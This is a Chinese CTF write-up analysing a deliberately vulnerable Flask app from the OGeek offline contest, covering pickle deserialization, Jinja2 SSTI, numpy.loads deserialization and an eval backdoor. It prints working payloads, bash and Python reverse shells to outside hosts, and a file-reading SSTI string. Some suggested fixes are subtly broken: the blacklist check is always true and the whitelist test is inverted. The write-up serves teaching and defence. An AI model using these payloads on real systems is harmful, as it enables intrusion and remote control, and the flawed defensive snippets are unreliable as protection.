• ogeek线下赛web分析1-python-web


    1.python

    from flask import Flask, request, render_template,send_from_directory, make_response
    from Archives import Archives
    import pickle,base64,os
    from jinja2 import Environment
    from random import choice
    import numpy
    import builtins
    import io
    import re
    
    app = Flask(__name__)
    Jinja2 = Environment()
    def set_str(type,str):
        retstr = "%s'%s'"%(type,str)
        print(retstr)
        return eval(retstr)
    def get_cookie():
        check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
        return choice(check_format)
    
    @app.route('/')
    def index():
        global Archives
        resp = make_response(render_template('index.html', Archives = Archives))
        cookies = bytes(get_cookie(), encoding = "utf-8")
        value = base64.b64encode(cookies)
        resp.set_cookie("username", value=value)
        return resp
    
    @app.route('/Archive/<int:id>')
    def Archive(id):
        global Archives
        if id>len(Archives):
            return render_template('message.html', msg='文章ID不存在!', status='失败')
        return render_template('Archive.html',Archive = Archives[id])
    
    @app.route('/message',methods=['POST','GET'])
    def message():
        if request.method == 'GET':
            return render_template('message.html')
        else:
            type = request.form['type'][:1]
            msg = request.form['msg']
            try:
                info = base64.b64decode(request.cookies.get('user'))
                info = pickle.loads(info) //pickle反序列化
                username = info["name"]
            except Exception as e:
                print(e)
                username = "Guest"
    
            if len(msg)>27:
                return render_template('message.html', msg='留言太长了!', status='留言失败')
            msg = msg.replace(' ','')
            msg = msg.replace('_', '')
            retstr = set_str(type,msg)
            return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
    
    @app.route('/hello',methods=['GET', 'POST'])
    def hello():
        username = request.cookies.get('username')
        username = str(base64.b64decode(username), encoding = "utf-8")
        data = Jinja2.from_string("Hello , " + username + '!').render()
        is_value = False
        return render_template('hello.html', msg=data,is_value=is_value)
    
    
    @app.route('/getvdot',methods=['POST','GET'])
    def getvdot():
        if request.method == 'GET':
            return render_template('getvdot.html')
        else:
            matrix1 = base64.b64decode(request.form['matrix1'])
            matrix2 = base64.b64decode(request.form['matrix2'])
            try:
                matrix1 = numpy.loads(matrix1)
                matrix2 = numpy.loads(matrix2)
            except Exception as e:
                print(e)
            result = numpy.vdot(matrix1,matrix2)
            print(result)
            return render_template('getvdot.html',msg=result,status='向量点积')
    
    
    @app.route('/robots.txt',methods=['GET'])
    def texts():
        return send_from_directory('/', 'flag', as_attachment=True)
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port='5000',debug=True)

    第一个洞:pickle反序列化

    info = base64.b64decode(request.cookies.get('user'))
    info = pickle.loads(info) //pickle反序列化

    常见用于python执行命令的库有:

    os,subprocess,command

    os.system('ifconfig')
    os.popen('ifconfig')
    commands.getoutput('ifconfig')
    commands.getstatusoutput('ifconfig')
    subprocess.call(['ifconfig'],shell=True)

    以及

    map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])
    
    sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))
    
    platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")

    那么最简单的exp当然是是通过os.system来执行命令:

    import pickle
    import os
    import subprocess
    import base64 as b64
    class genpoc(object):
        def __reduce__(self):
            s = """whoami"""
            return os.system,(s,)
    evil = b64.b64encode(pickle.dumps(genpoc()))
    pickle.loads(b64.b64decode(evil))

    pickle和cpickle都可以进行反序列化,cpickle速度更快一点,生成payload就可以进行批量读取flag

    __reduce__函数中返回的元组中用于执行命令的模块当然可以进行替换,防御时可以基于黑名单,把system等库直接ban了:

    if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()):
        exit(0)

    基于黑名单的方式可能存在被绕过的可能,最好的方式是基于白名单:

    原始的pickle的loads函数如上如所示,参考https://www.jianshu.com/p/8fd3de5b4843可以在返回序列化对象前加一个判断:

    class genpoc(object):
        def __reduce__(self):
            s = """whoami"""
            return os.system,(s,)
    evil = pickle.dumps(genpoc())
    allow_list = [str, int, float, bytes, unicode]
    
    class FilterException(Exception):
        def __init__(self, value):
            super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value)))
    
    def a(func):
        def wrapper(*args, **kwargs):
            if args[0].stack[-2]  in allow_list:
                raise FilterException(args[0].stack[-2])
            return func(*args, **kwargs)
        return wrapper
    
    def loads(evil):
        #global evil
        file = StringIO(evil)
        temp = Unpickler(file)
        temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE])
        return temp.load()
    loads(evil)

    这样就能防御住pickle反序列化漏洞,这里原因貌似是这样:因为我们是在__reduce__中传入的要调用的函数为为os.system,参数为whoami,__reduce__返回的是一个元组,

    此时只要检测__reduce__中的变量就可以了,

     而在pickle的源码中,通过类Unpickler对象的dispatch的REDUCE属性就能够对reduce中的变量进行操作

     

     其中stack变量中实际上存储着内置函数system,此时就可以通过args[0].stack[-2]来获得到之前__reduce__中定义的system,接着只要将该值与白名单的值进行比较即可。

    第二个洞:CVE-2019-8341 jinja2 ssti

    漏洞代码为:

    @app.route('/hello',methods=['GET', 'POST'])
    def hello():
        username = request.cookies.get('username')
        username = str(base64.b64decode(username), encoding = "utf-8")
        data = Jinja2.from_string("Hello , " + username + '!').render()
        is_value = False
        return render_template('hello.html', msg=data,is_value=is_value)

    这个洞是因为from_string的锅,jinja2版本小于2.10,exploitdb也给了具体的payload:

    读/etc/passwd

    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

    反弹shell:

    {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

    修复的话可以直接过滤username中的.点即可

    第三个洞:CVE-2019-6446 numpy反序列化

    @app.route('/getvdot',methods=['POST','GET'])
    def getvdot():
        if request.method == 'GET':
            return render_template('getvdot.html')
        else:
            matrix1 = base64.b64decode(request.form['matrix1'])
            matrix2 = base64.b64decode(request.form['matrix2'])
            try:
                matrix1 = numpy.loads(matrix1)
                matrix2 = numpy.loads(matrix2)
            except Exception as e:
                print(e)
            result = numpy.vdot(matrix1,matrix2)
            print(result)
            return render_template('getvdot.html',msg=result,status='向量点积')

    numpy.loads在读取字符串时,也会采用pickle的loads方式读取序列化字符串

    那么只要利用pickle构造出序列化的poc,传递给numpy.loads(),就能够达到同样的效果

    import numpy
    import pickle
    import os
    class genpoc(object):
        def __reduce__(self):
            s = """whoami"""
            return os.system,(s,)
    evil = pickle.dumps(genpoc())
    print evil
    numpy.loads(evil)

    防御方法可以参考:https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb

    因为这里numpy.loads实际上调用的是pickle.loads,所以也可以按照修复pickle时白名单或者黑名单的方式,禁止一些可以调用的执行命令的对象。

    第四个洞:eval后门

    type = request.form['type'][:1]
    msg = request.form['msg']
    if len(msg)>27:
         return render_template('message.html', msg='留言太长了!', status='留言失败')
    msg = msg.replace(' ','')
    msg = msg.replace('_', '')

    这里直接执行eval,并且type和str都是可控的,但是需要先bypass前面的限制,这里限制type为一个字符,我们只要闭合‘单引号即可,poc可为:

    读取flag可以为:

    set_str("'","+os.system('cat${IFS}/f*')#")

     这样payload刚好为27个字符,能够获取到flag

     修复方法也很简单:

    可以过滤掉斜杠即可/

  • 相关阅读:
    Linux grep命令使用方法
    Linux crontab使用方法
    Linux find命令使用方法
    软件测试全流程
    Linux查看CPU、内存、IO占用高的进程
    使用py2exe转换python文件为可执行程序
    Shell脚本调试方法
    Shell编程常用函数
    Win10常用快捷键使用指南
    mac上一键配置和安装adb驱动或者环境
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11567207.html
Copyright © 2020-2023  润新知